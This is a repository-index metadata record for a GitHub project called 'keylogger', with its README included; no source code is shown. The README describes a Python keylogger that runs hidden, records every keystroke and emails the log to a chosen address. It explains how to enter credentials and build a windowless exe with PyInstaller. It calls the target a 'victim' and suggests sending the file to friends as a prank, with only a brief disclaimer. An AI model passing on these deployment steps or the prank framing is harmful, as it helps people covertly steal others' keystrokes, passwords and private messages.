{"id":22868056,"url":"https://github.com/myphz/keylogger","last_synced_at":"2025-05-05T19:28:15.679Z","repository":{"id":42688092,"uuid":"304037717","full_name":"Myphz/keylogger","owner":"Myphz","description":"A simple but efficient keylogger that stores every single key pressed on the keyboard and send it to you!","archived":false,"fork":false,"pushed_at":"2022-03-28T13:16:55.000Z","size":41,"stargazers_count":7,"open_issues_count":1,"forks_count":0,"subscribers_count":1,"default_branch":"master","last_synced_at":"2025-03-30T23:04:13.507Z","etag":null,"topics":["keylogger","pyinstaller","python"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Myphz.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2020-10-14T14:17:50.000Z","updated_at":"2022-02-23T01:22:07.000Z","dependencies_parsed_at":"2022-09-08T13:02:48.916Z","dependency_job_id":null,"html_url":"https://github.com/Myphz/keylogger","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Myphz%2Fkeylogger","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Myphz%2Fkeylogger/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Myphz%2Fkeylogger/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Myphz%2Fkeylogger/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Myphz","download_url":"https://codeload.github.com/Myphz/keylogger/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":252562337,"owners_count":21768276,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["keylogger","pyinstaller","python"],"created_at":"2024-12-13T12:30:56.658Z","updated_at":"2025-05-05T19:28:15.659Z","avatar_url":"https://github.com/Myphz.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# A simple but very efficient Keylogger!\n\n## Information\nOn execution, it secretly runs and stores everything the user types in a file, called \"keys.log\".\\\nThen, it sends an email every specified delay to a specific email address with this file attached.\\\nThe user can't detect any of this as it runs secretly in background; the victim has to manually kill the process with task manager or reboot the computer to stop it.\n\n### **Please, do not use this to harm other people. _I do not take responsibility for any damage caused with this file._**\n\n## Instructions\nInstall all the dependencies and manually change lines 14, 15 and 16, with the sender's email (gmail, or change the smtp_server variable), receiver's email and sender's email's password respectively.\\\nYou can also change the delay between each e-mail by modifying line 41 and replacing the function's argument to your desired time in seconds (10 minutes default).\\\n*If you use gmail, you might need to enable the \"Allow less secure apps\" option in your google account, in order to allow this script to log-in your account.*\n\n## Dependencies\n- Pynput *(important: install version 1.6.8, as the newest version has troubles running with PyInstaller. You can install it with ```pip install pynput==1.6.8```)*\n- PyInstaller *(to convert it to an executable file. ```pip install pyinstaller```)*\n\n## How to convert it to an exe file\nOnce you have modified and saved the main file with your data, run the command prompt in the same folder as the main.py file and simply type the following command: ```pyinstaller --onefile -w main.py```\\\nGo to the new created directory \"dist\" and you'll see your desired .exe file with every dependency in it, so it can be executed on any computer!\\\nSend it to prank your friends!\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmyphz%2Fkeylogger","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmyphz%2Fkeylogger","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmyphz%2Fkeylogger/lists"}